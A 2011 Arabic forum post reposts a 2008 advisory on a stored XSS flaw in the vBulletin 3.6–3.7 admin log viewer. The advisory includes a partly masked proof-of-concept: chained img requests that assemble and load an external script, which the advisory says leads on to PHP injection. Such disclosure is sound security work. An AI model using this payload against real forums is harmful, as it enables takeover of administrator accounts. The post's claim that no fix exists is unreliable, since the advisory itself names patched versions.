ثغرة xss في جميع نسخ vb لكن للحين ماحدا لقا حل لها

من طرف **1M ThE BesT** السبت أبريل 09, 2011 5:27 am

ثغرة xss في جميع نسخ vb لكن للحين ماحدا لقا حل لها
Affected Software : Vbulletin, Vbulletin, 3.6
Vbulletin, Vbulletin, 3.6.1
Vbulletin, Vbulletin, 3.6.10
Vbulletin, Vbulletin, 3.6.2
Vbulletin, Vbulletin, 3.6.3
Vbulletin, Vbulletin, 3.6.4
Vbulletin, Vbulletin, 3.6.5
Vbulletin, Vbulletin, 3.6.6
Vbulletin, Vbulletin, 3.6.7
Vbulletin, Vbulletin, 3.6.8
Vbulletin, Vbulletin, 3.6.9
Vbulletin, Vbulletin, 3.7.0
Vbulletin, Vbulletin, 3.7.1
Vbulletin, Vbulletin, 3.7.2
Vbulletin, Vbulletin, 3.7.1, Pl1
Vbulletin, Vbulletin, 3.7.1, Gold
Vbulletin, Vbulletin, 3.6.10, Pl1

Advisory **** :

================================================== ====================

Advisory : XSS in admin logs
Release Date : July 06th 2008
Application : vBulletin
Version : vBulletin 3.7.2 and lower, vBulletin 3.6.10 PL2 and lower
Platform : PHP
Vendor URL : [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
Authors : Jessica Hope (jessicasaulhope (at) googlemail (dot) com [email
concealed]),
Friends who wish to remain anonymous.

================================================== =====================

Overview

Due to various failures in sanitising user input, it is possible to
construct XSS attacks that are rather damaging.

================================================== =====================

Discussion

The XSS in question exists on the log viewing page of the admin control
panel.

When a missing page is requested, a log is created in the admin area,
however
the inputs to this log lack sanitation. The script name is taken from
basename(PHP_SELF), while the action is taken from _REQUEST['do'].
Either one
can be used for introducing XSS vectors.

To highlight the severity and underline the fact that his vulnerability
is
exploitable:

<html>
<body>
<img src="http://localhost/vB/upload/admincp/faq.php/0?do=**********/*"
/>
<img
src="http://localhost/vB/upload/admincp/faq.php/1?do=*/a%3D'********.wri

'/*"
/>
<img
src="http://localhost/vB/upload/admincp/faq.php/2?do=*/b%3D'te(%22<scrip

t
'/*" />
<img
src="http://localhost/vB/upload/admincp/faq.php/3?do=*/c%3D'src=http://'

/*"
/>

<img
src="http://localhost/vB/upload/admincp/faq.php/4?do=*/d%3D'localhost/'/

*"
/>
<img src="http://localhost/vB/upload/admincp/faq.php/5?do=*/e%3D''/*"
/>
<img
src="http://localhost/vB/upload/admincp/faq.php/6?do=*/f%3D't.js></scrip

'/*"
/>

<img
src="http://localhost/vB/upload/admincp/faq.php/7?do=*/g%3D't>%22)'/*"
/>
<img
src="http://localhost/vB/upload/admincp/faq.php/8?do=*/h%3Da%2Bb%2Bc%2Bd

%2Be%2Bf%2Bg/*"
/>
<img src="http://localhost/vB/upload/admincp/faq.php/9?do=*/eval(h)/*"
/>
<img src="http://localhost/vB/upload/admincp/faq.php/a0?do=*/</script>"
/>
</body>
</html>

You then need to send the admin to
adminlog.php?do=view&script=&u=0&pp=15&orderby=scr ipt&page=1
and the XSS will render.

The limits on the XSS:
basename(PHP_SELF) is 50 characters max and no slashes

_REQUEST['do'] is limited to 20 characters, but no character
restriction.

The tight character limits on the unsanitized parameters are not
mitigating the severity, as unlimited
attack space can be obtained as shown above.

As per my last exploits, all XSS in the vBulletin ACP can be used for
PHP injection instantly. This
is due to the design of the vBulletin hooks feature. As this
particular XSS is persistent and will
render in all major browsers it is particularly dangerous.

================================================== =====================

Solution:

Update to vBulletin 3.7.2 PL1 or vBulletin 3.6.10 PL3

Don't trust PHP_SELF and sanitise all data that is going to be
displayed to the user

==================================================
الحل هو
ان تحذف ملف faq.php